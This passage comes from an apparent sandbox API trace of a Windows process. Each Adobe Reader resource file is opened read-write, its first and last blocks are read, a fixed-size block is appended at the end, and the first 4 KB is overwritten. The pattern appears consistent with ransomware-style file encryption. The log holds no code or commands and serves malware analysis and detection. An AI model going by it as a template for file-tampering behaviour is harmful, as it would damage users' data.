lpOverlapped=0x0) returned 1 [0045.908] CloseHandle (hObject=0x1a8) returned 1 [0045.910] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0045.911] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.911] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6dc6 [0045.911] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.911] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.911] ReleaseMutex (hMutex=0x128) returned 1 [0045.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0045.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl.txt", cchWideChar=27, lpMultiByteStr=0x1e7fb1c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl.txt", lpUsedDefaultChar=0x0) returned 27 [0045.911] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.915] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5dc6 [0045.915] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.915] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5dc6 [0045.915] WriteFile (in: hFile=0x1a8, lpBuffer=0x27ecdf8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27ecdf8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0045.916] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0045.916] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0045.916] CloseHandle (hObject=0x1a8) returned 1 [0045.916] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0045.917] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.917] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6f50 [0045.917] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0045.918] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0045.918] ReleaseMutex (hMutex=0x128) returned 1 [0045.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0045.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.pt_PT_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x1eb2084, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.pt_PT_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0045.918] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.967] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5f50 [0045.967] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.114] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5f50 [0046.114] WriteFile (in: hFile=0x1a8, lpBuffer=0x27ecdf8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27ecdf8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.114] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0046.114] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.114] CloseHandle (hObject=0x1a8) returned 1 [0046.115] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.sv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.sv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0046.115] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.115] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x715c [0046.115] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.115] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.116] ReleaseMutex (hMutex=0x128) returned 1 [0046.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.sv.txt", cchWideChar=27, lpMultiByteStr=0x1e7fb4c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.sv.txt", lpUsedDefaultChar=0x0) returned 27 [0046.116] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.123] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x615c [0046.123] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.128] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x615c [0046.128] WriteFile (in: hFile=0x1a8, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.128] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0046.128] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.128] CloseHandle (hObject=0x1a8) returned 1 [0046.145] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ara131.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ara131.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0046.146] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.146] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x203800 [0046.146] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.146] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.146] ReleaseMutex (hMutex=0x128) returned 1 [0046.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara131.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0046.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara131.lex", cchWideChar=10, lpMultiByteStr=0x1e633ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ara131.lex", lpUsedDefaultChar=0x0) returned 10 [0046.146] ReadFile (in: hFile=0x1a8, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.150] ReadFile (in: hFile=0x1a8, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0046.154] ReadFile (in: hFile=0x1a8, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x340f278*=0x2000, lpOverlapped=0x0) returned 1 [0046.164] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x201800 [0046.165] ReadFile (in: hFile=0x1a8, lpBuffer=0x276c358, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesRead=0x340f278*=0x2000, lpOverlapped=0x0) returned 1 [0046.178] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x201800 [0046.179] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dae038*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae038*, lpNumberOfBytesWritten=0x340f28c*=0x2588, lpOverlapped=0x0) returned 1 [0046.179] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0046.179] WriteFile (in: hFile=0x1a8, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.180] WriteFile (in: hFile=0x1a8, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0046.180] WriteFile (in: hFile=0x1a8, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x340f28c*=0x2000, lpOverlapped=0x0) returned 1 [0046.180] CloseHandle (hObject=0x1a8) returned 1 [0046.180] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brz32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brz32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0046.181] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.181] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x7fc9 [0046.181] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.181] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.181] ReleaseMutex (hMutex=0x128) returned 1 [0046.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brz32.clx", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brz32.clx", lpUsedDefaultChar=0x0) returned 9 [0046.181] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.189] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6fc9 [0046.189] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.192] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6fc9 [0046.192] WriteFile (in: hFile=0x1a8, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.193] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0046.193] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.193] CloseHandle (hObject=0x1a8) returned 1 [0046.193] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\can32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\can32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0046.193] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.193] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x7ffe [0046.194] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.194] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.194] ReleaseMutex (hMutex=0x128) returned 1 [0046.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="can32.clx", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="can32.clx", lpUsedDefaultChar=0x0) returned 9 [0046.194] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.202] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6ffe [0046.203] ReadFile (in: hFile=0x1a8, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.206] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6ffe [0046.206] WriteFile (in: hFile=0x1a8, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.207] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0046.207] WriteFile (in: hFile=0x1a8, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.207] CloseHandle (hObject=0x1a8) returned 1 [0046.207] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0046.208] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.208] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2e0 [0046.208] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.208] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.208] ReleaseMutex (hMutex=0x128) returned 1 [0046.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cze.fca", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cze.fca", lpUsedDefaultChar=0x0) returned 7 [0046.208] ReadFile (in: hFile=0x1a8, lpBuffer=0x275b028, nNumberOfBytesToRead=0x2e0, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesRead=0x340f2bc*=0x2e0, lpOverlapped=0x0) returned 1 [0046.212] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0046.212] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x868, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x340f2d0*=0x868, lpOverlapped=0x0) returned 1 [0046.212] CloseHandle (hObject=0x1a8) returned 1 [0046.212] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0046.213] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.213] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x11c00 [0046.213] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.213] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.213] ReleaseMutex (hMutex=0x128) returned 1 [0046.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut.hyp", lpUsedDefaultChar=0x0) returned 7 [0046.213] ReadFile (in: hFile=0x1a8, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0046.583] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, 